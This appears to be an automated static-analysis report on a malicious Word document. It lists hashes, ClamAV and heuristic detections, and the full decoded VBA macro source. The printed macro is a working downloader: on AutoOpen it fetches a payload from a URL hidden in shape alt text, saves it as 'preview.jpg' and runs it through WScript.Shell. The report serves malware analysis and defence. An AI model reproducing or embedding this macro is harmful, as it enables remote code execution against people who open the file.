Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 078a7b6ab55d3458…

MALICIOUS

Office (OOXML)

111.3 KB Created: 2020-08-13 09:40:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 60d090ee6996e466af83b7bf18911bc6 SHA-1: e0a9fd707563ff28cff26af2fe0b2c69584cfb35 SHA-256: 078a7b6ab55d345871cba5c628a43cb06ed447e0a7e1b76571cd6634a23933ae
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate or Obfuscate Malicious Code T1204.002 Malicious File

The sample contains VBA macros that are automatically executed via the AutoOpen function. These macros utilize WScript.Shell and MSXML2.XMLHTTP60 to download content from a URL specified in the document's alternative text, save it as 'preview.jpg', and then execute it. This indicates a downloader or droppper functionality.

Heuristics 8

  • ClamAV: Doc.Malware.W2000m-9757284-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.W2000m-9757284-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function df9e122e(b960db81)
Set a275f0d6 = CreateObject("wscript.shell")
Call a275f0d6.exec(b960db81)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function df9e122e(b960db81)
Set a275f0d6 = CreateObject("wscript.shell")
Call a275f0d6.exec(b960db81)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
Dim b2111052 As New d7cd71a8
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack1\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1579 bytes
SHA-256: 2171ca3f41102251c7992b9bef7b9cfc75acb3f056dde64af5a5074ffcc25048
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "b9d1ecfe"
Function ed71ee4c()
ed71ee4c = 1
End Function
Sub AutoOpen()
Dim b2111052 As New d7cd71a8
bc8d518f = b2111052.c492b9b9(ActiveDocument.Shapes(ed71ee4c).AlternativeText)
df32966b ba9cf3dd(bc8d518f)
b2111052.df9e122e dcd3f665
End Sub

Attribute VB_Name = "d255cded"
Sub df32966b(ac366c01)
Open f5d112a0 For Output As #1
Print #1, ac366c01
Close #1
End Sub
Function f5d112a0()
f5d112a0 = "preview.jpg"
End Function
Sub f45fc2da()
End Sub
Function ba9cf3dd(ac366c01)
ba9cf3dd = StrConv(ac366c01, 64)
End Function
Function dcd3f665()
dcd3f665 = ActiveDocument.Shapes(1).Title + " " + f5d112a0
End Function

Attribute VB_Name = "d7cd71a8"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function c492b9b9(cd1c17e6)
Dim dd7b2abd As Object
Set dd7b2abd = New MSXML2.XMLHTTP60
dd7b2abd.Open "GET", cd1c17e6, False
dd7b2abd.Send
'
With dd7b2abd
c492b9b9 = .responsebody
End With
End Function
Function df9e122e(b960db81)
Set a275f0d6 = CreateObject("wscript.shell")
Call a275f0d6.exec(b960db81)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18432 bytes
SHA-256: 1814f54803eb1be9daa665884a9ac3965a7f5f47934d217bf0f72f3e00ed1d4c
Detection
ClamAV: Doc.Malware.W2000m-9757284-0
Obfuscation or payload: unlikely

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